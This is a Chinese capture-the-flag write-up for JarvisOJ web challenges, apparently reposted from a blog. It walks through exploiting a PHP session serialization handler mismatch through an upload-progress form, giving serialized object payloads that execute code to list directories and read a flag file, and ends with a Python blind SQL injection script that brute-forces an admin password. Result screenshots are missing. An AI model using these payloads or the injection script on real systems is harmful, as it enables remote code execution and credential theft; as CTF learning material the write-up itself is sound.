JarvisOJ平台Web题目简单部分writeup

标签：append   数据库   char   ann   form   dir   color   writeup   没有   

PHPINFO

题目地址：http://web.jarvisoj.com:32784/
访问网址，页面显示：

<?php
//A webshell is wait for you
ini_set(‘session.serialize_handler‘, ‘php‘);
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = ‘phpinfo();‘;
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET[‘phpinfo‘]))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents(‘index.php‘));
}
?>

看到PHP代码中的ini_set(‘session.serialize_handler‘, ‘php‘)就会知道这道题目与PHP中的Session序列话的问题有关，关于PHP中的Session的问题，可以参考我的这篇文章。这里就对Session序列化不做说明。
这个漏洞如果要触发，则需要在服务器中写入一个使用php_serialize序列话的值，然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法，但是可以通过Session Upload Progress来向服务器设置session。具体为，在上传文件时，如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量，就可以将filename的值赋值到session中，上传的页面的写法如下：

<form action="http://121.42.149.60/68b329da9893e34099c7d8ad5cb9c940/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最后在Session就会保存上传的文件名。
下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。
在本地中，需要对$mdzz进行赋值，然后通过析构函数中的eval()去执行$mdzz中的方法。
在本地创建myindex.php

<?php
ini_set(‘session.serialize_handler‘, ‘php_serialize‘);
session_start();
class OowoO
{
    public $mdzz=‘需要设置方法‘;
    function __construct()
    {
        // $this->mdzz = ‘phpinfo();‘;
    }
    
    function __destruct()
    {
        // echo $this->mdzz;
    }
}
$obj = new OowoO();
echo serialize($obj);

可以看到最后的结果输出了spoock，说明上述的测试是成功的。
接下来就需要获取flag了。
获取项目路径：
通过dirname获取文件路径
设置$mdzz=‘print_r(dirname(__FILE__));‘
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
显示结果如下：

得到项目路径是在opt/lampp/htdocs

获取文件列表
通过scandir获取文件列表
设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
显示的结果是：

发现存在Here_1s_7he_fl4g_buT_You_Cannot_see.php。

读取文件内容：
通过file_get_contents读取文件内容
设置$mdzz=‘O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}‘
序列话结果O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}。
显示结果为：

最后就得到flag了。

#coding:utf8
import requests
postData={
"username":"‘/**/or/**/1=((select/**/password/**/from/**/admin/**/limit/**/0,1)/**/like/**/‘{0}%‘)#",
"password":"123456"
}
str1 = "‘/**/or/**/1=((select/**/password/**/from/**/admin/**/limit/**/0,1)/**/like/**/‘"
str2 = "{0}%‘)#"
chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‘
test = []
for x in range(1,33):#控制位数
    for char in chars:
        postData[‘username‘] = str1+str2.format(char)
        txt = requests.post("http://web.jarvisoj.com:32787/login.php",data=postData).content
        if len(txt)==1202:
            test.append(char)
            str1 = str1+char
            print char
print test

JarvisOJ平台Web题目简单部分writeup

标签：append   数据库   char   ann   form   dir   color   writeup   没有   

原文地址：http://www.cnblogs.com/test404/p/6786180.html